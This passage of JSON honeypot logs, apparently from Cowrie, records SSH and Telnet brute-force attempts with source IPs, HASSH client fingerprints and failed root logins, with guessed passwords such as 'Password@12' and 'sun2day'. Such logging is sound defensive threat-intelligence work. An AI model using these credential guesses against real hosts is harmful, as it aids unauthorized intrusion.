f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:10.224440Z","src_ip":"205.254.166.156","session":"db7ee9c7e4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:11.106056Z","src_ip":"205.254.166.156","session":"db7ee9c7e4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:12.321468Z","src_ip":"205.254.166.156","session":"db7ee9c7e4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.186.196.223","src_port":56622,"dst_ip":"10.17.0.5","dst_port":23,"session":"da848e0adca5","protocol":"telnet","message":"New connection: 60.186.196.223:56622 (10.17.0.5:23) [session: da848e0adca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:15.308455Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":55218,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a6b242dc3e9","protocol":"ssh","message":"New connection: 163.245.222.56:55218 (159.203.135.109:22) [session: 6a6b242dc3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:23.061037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:23.066697Z","src_ip":"163.245.222.56","session":"6a6b242dc3e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:23.076767Z","src_ip":"163.245.222.56","session":"6a6b242dc3e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"FZAc8jnw.XdKgFZAc8jnw.XdKg","message":"login attempt [root/FZAc8jnw.XdKgFZAc8jnw.XdKg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:23.163246Z","src_ip":"163.245.222.56","session":"6a6b242dc3e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:24.175803Z","src_ip":"163.245.222.56","session":"6a6b242dc3e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.34968876838684,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:28.658023Z","src_ip":"60.186.196.223","session":"da848e0adca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":32958,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6c69133e55","protocol":"ssh","message":"New connection: 106.13.14.186:32958 (159.203.135.109:22) [session: 3c6c69133e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:44.489377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:44.493975Z","src_ip":"106.13.14.186","session":"3c6c69133e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:44.761502Z","src_ip":"106.13.14.186","session":"3c6c69133e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121412","message":"login attempt [root/121412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:45.841247Z","src_ip":"106.13.14.186","session":"3c6c69133e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:47.102921Z","src_ip":"106.13.14.186","session":"3c6c69133e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":45020,"dst_ip":"159.203.135.109","dst_port":22,"session":"f947849a1578","protocol":"ssh","message":"New connection: 41.181.156.205:45020 (159.203.135.109:22) [session: f947849a1578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:02.795260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:02.800290Z","src_ip":"41.181.156.205","session":"f947849a1578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:03.048755Z","src_ip":"41.181.156.205","session":"f947849a1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass$123","message":"login attempt [root/pass$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:04.058383Z","src_ip":"41.181.156.205","session":"f947849a1578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":35746,"dst_ip":"10.17.0.5","dst_port":23,"session":"955869e00848","protocol":"telnet","message":"New connection: 194.180.12.23:35746 (10.17.0.5:23) [session: 955869e00848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:04.848764Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:05.304693Z","src_ip":"41.181.156.205","session":"f947849a1578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":38394,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aafeef736d8","protocol":"ssh","message":"New connection: 2.27.36.16:38394 (159.203.135.109:22) [session: 4aafeef736d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:13.945375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:13.951636Z","src_ip":"2.27.36.16","session":"4aafeef736d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:14.062670Z","src_ip":"2.27.36.16","session":"4aafeef736d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sun2day","message":"login attempt [root/sun2day] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:14.477077Z","src_ip":"2.27.36.16","session":"4aafeef736d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:15.590564Z","src_ip":"2.27.36.16","session":"4aafeef736d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":58206,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e530f9d3029","protocol":"ssh","message":"New connection: 43.135.166.146:58206 (10.17.0.5:22) [session: 3e530f9d3029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:23.199424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:23.203914Z","src_ip":"43.135.166.146","session":"3e530f9d3029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:23.336398Z","src_ip":"43.135.166.146","session":"3e530f9d3029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@12","message":"login attempt [root/Password@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:23.601638Z","src_ip":"43.135.166.146","session":"3e530f9d3029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:24.676051Z","src_ip":"43.135.166.146","session":"3e530f9d3029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16a8b57b06e","protocol":"telnet","message":"New connection: 167.71.238.254:51152 (10.17.0.5:23) [session: d16a8b57b06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:28.756557Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":44460,"dst_ip":"159.203.135.109","dst_port":22,"session":"404615229449","protocol":"ssh","message":"New connection: 163.245.222.56:44460 (159.203.135.109:22) [session: 404615229449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:34.348501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:34.353905Z","src_ip":"163.245.222.56","session":"404615229449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:34.359837Z","src_ip":"163.245.222.56","session":"404615229449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:34.417044Z","src_ip":"163.245.222.56","session":"404615229449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:35.426407Z","src_ip":"163.245.222.56","session":"404615229449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.30923080444336,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:42.065679Z","src_ip":"167.71.238.254","session":"d16a8b57b06e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.240.156.16","src_port":36392,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f19dc9a4c6","protocol":"ssh","message":"New connection: 61.240.156.16:36392 (10.17.0.5:22) [session: 97f19dc9a4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:45.869733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:45.878956Z","src_ip":"61.240.156.16","session":"97f19dc9a4c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:46.105964Z","src_ip":"61.240.156.16","session":"97f19dc9a4c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@12","message":"login attempt [root/Password@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:47.049856Z","src_ip":"61.240.156.16","session":"97f19dc9a4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:01:48.280416Z","src_ip":"61.240.156.16","session":"97f19dc9a4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":57570,"dst_ip":"159.203.135.109","dst_port":22,"session":"0af9b131ed81","protocol":"ssh","message":"New connection: 41.181.156.205:57570 (159.203.135.109:22) [session: 0af9b131ed81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:26.117283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:26.122219Z","src_ip":"41.181.156.205","session":"0af9b131ed81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:26.367034Z","src_ip":"41.181.156.205","session":"0af9b131ed81","protocol":"ssh"}
